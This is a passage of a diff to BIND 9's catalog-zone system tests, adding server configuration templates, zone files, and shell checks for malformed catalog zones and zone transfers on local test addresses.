+	zone "catalog-tls.example" {
+		type primary;
+		file "catalog-tls.example.db";
+		allow-transfer transport tls { key tsig_key; };
+		allow-update { any; };
+		also-notify { 10.53.0.4; };
+		notify explicit;
+	};
 };
 
-/* catalog5 is missing on purpose */
+view "ch" ch {
+
+	# Non-IN class catalog zone
+	zone "catalog-bad5.example" ch {
+		type primary;
+		file "catalog-bad5.example.db";
+		allow-transfer { any; };
+		allow-update { any; };
+		also-notify { 10.53.0.2; };
+		notify explicit;
+	};
+
+};
 
 key tsig_key. {
 	secret "LSAnCU+Z";
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
+};
+
+key next_key. {
+	secret "LaAnCU+Z";
+	algorithm @DEFAULT_HMAC@;
 };
diff --git a/bin/tests/system/catz/ns2/dom-existing.example.db b/bin/tests/system/catz/ns2/dom-existing.example.db
new file mode 100644
index 0000000000..b8402de301
--- /dev/null
+++ b/bin/tests/system/catz/ns2/dom-existing.example.db
@@ -0,0 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 3600 SOA . . 1 86400 3600 86400 3600
+@ 3600 IN NS invalid.
diff --git a/bin/tests/system/catz/ns2/named.conf.in b/bin/tests/system/catz/ns2/named.conf.in
deleted file mode 100644
index 30333e6e1b..0000000000
--- a/bin/tests/system/catz/ns2/named.conf.in
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-include "../../common/rndc.key";
-
-controls {
-	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-options {
-	query-source address 10.53.0.2;
-	notify-source 10.53.0.2;
-	transfer-source 10.53.0.2;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.2; };
-	listen-on-v6 { fd92:7065:b8e:ffff::2; };
-	notify no;
-	recursion no;
-	serial-query-rate 100;
-	catalog-zones {
-		zone "catalog1.example"
-			default-masters { 10.53.0.1; }
-			in-memory no
-			zone-directory "zonedir";
-		zone "catalog2.example"
-			default-masters { 10.53.0.1 port @EXTRAPORT1@; }
-			in-memory yes;
-		zone "catalog3.example"
-			default-masters { 10.53.0.1; }
-			zone-directory "nonexistent";
-#T1		zone "catalog4.example"
-#T1			default-masters { 10.53.0.1; };
-#T2		zone "catalog5.example"
-#T2			default-masters { 10.53.0.1; };
-	};
-};
-
-zone "catalog1.example" {
-	type secondary;
-	file "catalog1.example.db";
-	primaries { 10.53.0.1; };
-};
-
-zone "catalog2.example" {
-	type secondary;
-	file "catalog2.example.db";
-	primaries { 10.53.0.3; };
-};
-
-zone "catalog3.example" {
-	type secondary;
-	file "catalog3.example.db";
-	primaries { 10.53.0.1; };
-};
-
-zone "catalog4.example" {
-	type secondary;
-	file "catalog4.example.db";
-	primaries { 10.53.0.1; };
-};
-
-key tsig_key. {
-	secret "LSAnCU+Z";
-	algorithm hmac-md5;
-};
diff --git a/bin/tests/system/catz/ns2/named1.conf.in b/bin/tests/system/catz/ns2/named1.conf.in
new file mode 100644
index 0000000000..2ee9da4d31
--- /dev/null
+++ b/bin/tests/system/catz/ns2/named1.conf.in
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { fd92:7065:b8e:ffff::2; };
+	notify no;
+	notify-delay 0;
+	recursion no;
+	serial-query-rate 100;
+	dnssec-validation no;
+};
+
+/*
+ * The comment lines starting with "#Tn" markers below are designed to be
+ * uncommented by "tests.sh" when running the tests to perform some of required
+ * tests which need ns2 reconfgiuration.
+ */
+
+view "default" {
+
+	catalog-zones {
+		zone "catalog1.example"
+			default-masters { 10.53.0.1; }
+			min-update-interval 1s
+			in-memory no
+			zone-directory "zonedir";
+		zone "catalog2.example"
+			default-primaries { 10.53.0.1 port @EXTRAPORT1@; }
+			min-update-interval 1s
+			in-memory yes;
+		zone "catalog3.example"
+			default-masters { 10.53.0.1; }
+			min-update-interval 1s
+			zone-directory "nonexistent";
+#T1		zone "catalog4.example"
+#T1			min-update-interval 1s
+#T1			default-masters { 10.53.0.1; };
+#T2		zone "catalog5.example"
+#T2			min-update-interval 1s
+#T2			default-primaries { 10.53.0.1; };
+		zone "catalog-bad1.example"
+			default-masters { 10.53.0.1; }
+			min-update-interval 1s
+			in-memory yes;
+		zone "catalog-bad2.example"
+			default-masters { 10.53.0.1; }
+			min-update-interval 1s
+			in-memory yes;
+		zone "catalog-bad3.example"
+			default-masters { 10.53.0.1; }
+			min-update-interval 1s
+			in-memory yes;
+		zone "catalog-bad4.example"
+			default-masters { 10.53.0.1; }
+			min-update-interval 1s
+			in-memory yes;
+	};
+
+	# A faulty dlz configuration to check if named and catz survive a certain class
+	# of failed configuration attempts (see GL #3060).
+	# We use "dlz" because the dlz processing code is located in an ideal place in
+	# the view configuration function for the test to cover the view reverting code.
+#T3	dlz "bad-dlz" {
+#T3		database "dlopen bad-dlz.so example.org";
+#T3	};
+
+	zone "dom-existing.example" {
+	    type primary;
+	    file "dom-existing.example.db";
+	};
+
+	zone "dom-existing-forward.example" {
+	    type forward;
+	    forward only;
+	    forwarders { 10.53.0.1; };
+	};
+
+	zone "dom-existing-forward-off.example" {
+	    type forward;
+	    forward only;
+	    forwarders { };
+	};
+
+	zone "catalog1.example" {
+		type secondary;
+		file "catalog1.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	zone "catalog2.example" {
+		type secondary;
+		file "catalog2.example.db";
+		primaries { 10.53.0.3; };
+	};
+
+	zone "catalog3.example" {
+		type secondary;
+		file "catalog3.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	zone "catalog4.example" {
+		type secondary;
+		file "catalog4.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	# When the following zone configuration is enabled, "dom3.example" should
+	# already exist as a member of "catalog1.example", and named should be able
+	# to deal with that situation (see GL #3911). Make sure that this duplicate
+	# zone comes after the the "catalog1.example" zone in the configuration file.
+#T4	zone "dom3.example" {
+#T4	    type secondary;
+#T4	    file "dom2.example.db";
+#T4	};
+
+	# No "version" property
+	zone "catalog-bad1.example" {
+		type secondary;
+		file "catalog-bad1.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	# Unsupported "version" property
+	zone "catalog-bad2.example" {
+		type secondary;
+		file "catalog-bad2.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	# Two RRs in TXT RRset for the "version" property
+	zone "catalog-bad3.example" {
+		type secondary;
+		file "catalog-bad3.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	# Type A "version" property
+	zone "catalog-bad4.example" {
+		type secondary;
+		file "catalog-bad4.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+};
+
+view "ch" ch {
+
+	catalog-zones {
+		zone "catalog-bad5.example"
+			default-masters { 10.53.0.1; }
+			in-memory yes;
+	};
+
+	# Non-IN class catalog zone
+	zone "catalog-bad5.example" ch {
+		type secondary;
+		file "catalog-bad5.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+};
+
+key tsig_key. {
+	secret "LSAnCU+Z";
+	algorithm @DEFAULT_HMAC@;
+};
+
+key next_key. {
+	secret "LaAnCU+Z";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/catz/ns2/named2.conf.in b/bin/tests/system/catz/ns2/named2.conf.in
new file mode 100644
index 0000000000..5ca4e3e7d6
--- /dev/null
+++ b/bin/tests/system/catz/ns2/named2.conf.in
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { fd92:7065:b8e:ffff::2; };
+	notify no;
+	notify-delay 0;
+	recursion no;
+	serial-query-rate 100;
+	dnssec-validation no;
+};
+
+view "default" {
+
+	# Removed catalog-zone option, otherwise this is
+	# identical to named1.conf.in
+
+	zone "dom-existing.example" {
+	    type primary;
+	    file "dom-existing.example.db";
+	};
+
+	zone "dom-existing-forward.example" {
+	    type forward;
+	    forward only;
+	    forwarders { 10.53.0.1; };
+	};
+
+	zone "dom-existing-forward-off.example" {
+	    type forward;
+	    forward only;
+	    forwarders { };
+	};
+
+	zone "catalog1.example" {
+		type secondary;
+		file "catalog1.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	zone "catalog2.example" {
+		type secondary;
+		file "catalog2.example.db";
+		primaries { 10.53.0.3; };
+	};
+
+	zone "catalog3.example" {
+		type secondary;
+		file "catalog3.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	zone "catalog4.example" {
+		type secondary;
+		file "catalog4.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	# No "version" property
+	zone "catalog-bad1.example" {
+		type secondary;
+		file "catalog-bad1.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	# Unsupported "version" property
+	zone "catalog-bad2.example" {
+		type secondary;
+		file "catalog-bad2.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	# Two RRs in TXT RRset for the "version" property
+	zone "catalog-bad3.example" {
+		type secondary;
+		file "catalog-bad3.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+	# Type A "version" property
+	zone "catalog-bad4.example" {
+		type secondary;
+		file "catalog-bad4.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+};
+
+view "ch" ch {
+
+	# Removed catalog-zone option, otherwise this is
+	# identical to named1.conf.in
+
+	# Non-IN class catalog zone
+	zone "catalog-bad5.example" ch {
+		type secondary;
+		file "catalog-bad5.example.db";
+		primaries { 10.53.0.1; };
+	};
+
+};
+
+key tsig_key. {
+	secret "LSAnCU+Z";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/catz/ns3/catalog.example.db.in b/bin/tests/system/catz/ns3/catalog.example.db.in
new file mode 100644
index 0000000000..eccb4f1004
--- /dev/null
+++ b/bin/tests/system/catz/ns3/catalog.example.db.in
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 3600 SOA . . 2670950424 86400 3600 86400 3600
+@ 3600 IN NS invalid.
+version IN TXT "1"
diff --git a/bin/tests/system/catz/ns3/dom5.example.db b/bin/tests/system/catz/ns3/dom5.example.db
index f61860dd80..5779aaf34e 100644
--- a/bin/tests/system/catz/ns3/dom5.example.db
+++ b/bin/tests/system/catz/ns3/dom5.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/catz/ns3/dom6.example.db b/bin/tests/system/catz/ns3/dom6.example.db
index f61860dd80..5779aaf34e 100644
--- a/bin/tests/system/catz/ns3/dom6.example.db
+++ b/bin/tests/system/catz/ns3/dom6.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/catz/ns3/named.conf.in b/bin/tests/system/catz/ns3/named.conf.in
index 9ec5e0f23f..b1bbc1ea19 100644
--- a/bin/tests/system/catz/ns3/named.conf.in
+++ b/bin/tests/system/catz/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,9 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { fd92:7065:b8e:ffff::3; };
 	notify no;
+	notify-delay 0;
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "catalog2.example" {
diff --git a/bin/tests/system/catz/ns4/catalog.example.db.in b/bin/tests/system/catz/ns4/catalog.example.db.in
new file mode 100644
index 0000000000..a0bab0dfe2
--- /dev/null
+++ b/bin/tests/system/catz/ns4/catalog.example.db.in
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 3600 SOA . . 1 86400 3600 86400 3600
+@ 3600 IN NS invalid.
+version IN TXT "1"
diff --git a/bin/tests/system/catz/ns4/named.conf.in b/bin/tests/system/catz/ns4/named.conf.in
new file mode 100644
index 0000000000..2f43c25e18
--- /dev/null
+++ b/bin/tests/system/catz/ns4/named.conf.in
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	query-source address 10.53.0.4;
+	notify-source 10.53.0.4;
+	transfer-source 10.53.0.4;
+	port @PORT@;
+	tls-port @TLSPORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.4; };
+	listen-on-v6 { fd92:7065:b8e:ffff::4; };
+	notify no;
+	notify-delay 0;
+	recursion no;
+	serial-query-rate 100;
+	ixfr-from-differences yes; // GL #3777
+	dnssec-validation no;
+
+	catalog-zones {
+		zone "catalog-tls.example"
+			min-update-interval 1s
+			default-primaries { 10.53.0.1 key tsig_key tls ephemeral; };
+		zone "catalog-self.example"
+			min-update-interval 1s
+			default-primaries { 10.53.0.4; };
+	};
+};
+
+zone "catalog-tls.example" {
+	type secondary;
+	file "catalog-tls.example.db";
+	primaries { 10.53.0.1 key tsig_key tls ephemeral; };
+};
+
+zone "catalog-self.example" {
+	type primary;
+	file "catalog-self.example.db";
+	notify explicit;
+};
+
+key tsig_key. {
+	secret "LSAnCU+Z";
+	algorithm @DEFAULT_HMAC@;
+};
+
+key next_key. {
+	secret "LaAnCU+Z";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/catz/setup.sh b/bin/tests/system/catz/setup.sh
index 78a558913f..eb2e53bd1a 100644
--- a/bin/tests/system/catz/setup.sh
+++ b/bin/tests/system/catz/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,12 +16,15 @@
 $SHELL clean.sh
 
 copy_setports ns1/named.conf.in ns1/named.conf
-copy_setports ns2/named.conf.in ns2/named.conf
+copy_setports ns2/named1.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
+copy_setports ns4/named.conf.in ns4/named.conf
 
 cp -f ns1/catalog.example.db.in ns1/catalog1.example.db
-cp -f ns1/catalog.example.db.in ns3/catalog2.example.db
+cp -f ns3/catalog.example.db.in ns3/catalog2.example.db
 cp -f ns1/catalog.example.db.in ns1/catalog3.example.db
 cp -f ns1/catalog.example.db.in ns1/catalog4.example.db
+cp -f ns1/catalog.example.db.in ns1/catalog-tls.example.db
+cp -f ns4/catalog.example.db.in ns4/catalog-self.example.db
 
 mkdir -p ns2/zonedir
diff --git a/bin/tests/system/catz/tests.sh b/bin/tests/system/catz/tests.sh
index e3328857f9..fffd17016e 100644
--- a/bin/tests/system/catz/tests.sh
+++ b/bin/tests/system/catz/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -x
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -78,6 +80,53 @@ wait_for_no_zonefile() (
 
 status=0
 n=0
+
+##########################################################################
+n=$((n+1))
+echo_i "checking that catalog-bad1.example (with no version) has failed to load ($n)"
+ret=0
+wait_for_message ns2/named.run "catz: zone 'catalog-bad1.example' has no 'version' record and will not be processed" &&
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that catalog-bad2.example (with unsupported version) has failed to load ($n)"
+ret=0
+wait_for_message ns2/named.run "catz: zone 'catalog-bad2.example' unsupported version '99'" &&
+wait_for_message ns2/named.run "catz: new catalog zone 'catalog-bad2.example' is broken and will not be processed" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that catalog-bad3.example (with two supported version records) has failed to load ($n)"
+ret=0
+wait_for_message ns2/named.run "catz: 'version' property TXT RRset contains more than one record, which is invalid" &&
+wait_for_message ns2/named.run "catz: invalid record in catalog zone - version.catalog-bad3.example IN TXT (failure) - ignoring" &&
+wait_for_message ns2/named.run "catz: zone 'catalog-bad3.example' version is not set" &&
+wait_for_message ns2/named.run "catz: new catalog zone 'catalog-bad3.example' is broken and will not be processed" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that catalog-bad4.example (with only spurious type A version record) has failed to load ($n)"
+ret=0
+wait_for_message ns2/named.run "catz: invalid record in catalog zone - version.catalog-bad4.example IN A (failure) - ignoring" &&
+wait_for_message ns2/named.run "catz: zone 'catalog-bad4.example' version is not set" &&
+wait_for_message ns2/named.run "catz: new catalog zone 'catalog-bad4.example' is broken and will not be processed" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that catalog-bad5.example (non-IN class) has failed to load ($n)"
+ret=0
+wait_for_message ns2/named.run "'catalog-zones' option is only supported for views with class IN" &&
+wait_for_message ns2/named.run "all zones loaded" || ret=1
+grep -F "catz: dns_catz_zone_add catalog-bad5.example" ns2/named.run && ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
 ##########################################################################
 echo_i "Testing adding/removing of domain in catalog zone"
 n=$((n+1))
@@ -90,9 +139,14 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "Adding a domain dom1.example. to primary via RNDC ($n)"
 ret=0
+# enough initial content for IXFR response when TXT record is added below
 echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom1.example.db
-echo "@ IN NS invalid." >> ns1/dom1.example.db
-rndccmd 10.53.0.1 addzone dom1.example. '{type primary; file "dom1.example.db";};' || ret=1
+echo "@ 3600 IN NS invalid." >> ns1/dom1.example.db
+echo "foo 3600 IN TXT some content here" >> ns1/dom1.example.db
+echo "bar 3600 IN TXT some content here" >> ns1/dom1.example.db
+echo "xxx 3600 IN TXT some content here" >> ns1/dom1.example.db
+echo "yyy 3600 IN TXT some content here" >> ns1/dom1.example.db
+rndccmd 10.53.0.1 addzone dom1.example. in default '{ type primary; file "dom1.example.db"; allow-update { any; }; notify explicit; also-notify { 10.53.0.2; }; };' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -120,7 +174,7 @@ n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
 wait_for_message ns2/named.run "catz: adding zone 'dom1.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run "transfer of 'dom1.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run "transfer of 'dom1.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -134,7 +188,94 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "checking that zone-directory is populated ($n)"
 ret=0
-wait_for_zonefile "ns2/zonedir/__catz___default_catalog1.example_dom1.example.db" || ret=1
+wait_for_zonefile "ns2/zonedir/__catz__default_catalog1.example_dom1.example.db" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "update dom1.example. ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+   server 10.53.0.1 ${PORT}
+   update add dom1.example 0 IN TXT added record
+   send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "wait for secondary to be updated ($n)"
+ret=0
+wait_for_txt() {
+	dig_with_opts @10.53.0.2 TXT dom1.example. > dig.out.test$n || return 1
+	grep "ANSWER: 1," dig.out.test$n > /dev/null || return 1
+	grep "status: NOERROR" dig.out.test$n > /dev/null || return 1
+	grep "IN.TXT." dig.out.test$n > /dev/null || return 1
+}
+retry_quiet 10 wait_for_txt || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "check that journal was created for cleanup test ($n)"
+ret=0
+test -f ns2/zonedir/__catz__default_catalog1.example_dom1.example.db.jnl || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "update catalog zone serial ($n)"
+ret=0
+# default minimum update rate is once / 5 seconds
+sleep 5
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add catalog1.example 3600 SOA . . 20 86400 3600 86400 3600
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "wait for catalog zone to transfer ($n)"
+ret=0
+wait_for_soa_equal_20() {
+	dig_with_opts @10.53.0.2 SOA catalog1.example. > dig.out.test$n || return 1
+	grep "ANSWER: 1," dig.out.test$n > /dev/null || return 1
+	grep "status: NOERROR" dig.out.test$n > /dev/null || return 1
+	grep 'IN.SOA.\. \. 20 ' dig.out.test$n > /dev/null || return 1
+}
+retry_quiet 10 wait_for_soa_equal_20 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "update dom1.example. again ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+   server 10.53.0.1 ${PORT}
+   update add foo.dom1.example 0 IN TXT added record
+   send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "wait for secondary to be updated again ($n)"
+ret=0
+wait_for_txt() {
+	dig_with_opts @10.53.0.2 TXT foo.dom1.example. > dig.out.test$n || return 1
+	grep "ANSWER: 2," dig.out.test$n > /dev/null || return 1
+	grep "status: NOERROR" dig.out.test$n > /dev/null || return 1
+	grep "IN.TXT." dig.out.test$n > /dev/null || return 1
+}
+retry_quiet 10 wait_for_txt || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -152,7 +293,7 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run "zone_shutdown: zone dom1.example/IN: shutting down" || ret=1
+wait_for_message ns2/named.run "catz: catz_delzone_cb: zone 'dom1.example' deleted" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -166,10 +307,13 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "checking that zone-directory is emptied ($n)"
 ret=0
-wait_for_no_zonefile "ns2/zonedir/__catz___default_catalog1.example_dom1.example.db" || ret=1
+wait_for_no_zonefile "ns2/zonedir/__catz__default_catalog1.example_dom1.example.db" || ret=1
+wait_for_no_zonefile "ns2/zonedir/__catz__default_catalog1.example_dom1.example.db.jnl" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 ##########################################################################
 echo_i "Testing various simple operations on domains, including using multiple catalog zones and garbage in zone"
 n=$((n+1))
@@ -177,7 +321,18 @@ echo_i "adding domain dom2.example. to primary via RNDC ($n)"
 ret=0
 echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom2.example.db
 echo "@ IN NS invalid." >> ns1/dom2.example.db
-rndccmd 10.53.0.1 addzone dom2.example. '{type primary; file "dom2.example.db";};' || ret=1
+echo "@ IN A 192.0.2.1" >> ns1/dom2.example.db
+rndccmd 10.53.0.1 addzone dom2.example. in default '{type primary; file "dom2.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "adding domain dom2.example. to primary ns3 via RNDC ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns3/dom2.example.db
+echo "@ IN NS invalid." >> ns3/dom2.example.db
+echo "@ IN A 192.0.2.2" >> ns3/dom2.example.db
+rndccmd 10.53.0.3 addzone dom2.example. '{type primary; file "dom2.example.db";};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -186,7 +341,7 @@ echo_i "adding domain dom4.example. to primary via RNDC ($n)"
 ret=0
 echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom4.example.db
 echo "@ IN NS invalid." >> ns1/dom4.example.db
-rndccmd 10.53.0.1 addzone dom4.example. '{type primary; file "dom4.example.db";};' || ret=1
+rndccmd 10.53.0.1 addzone dom4.example. in default '{type primary; file "dom4.example.db";};' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -196,6 +351,7 @@ ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
     update add 636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR dom2.example.
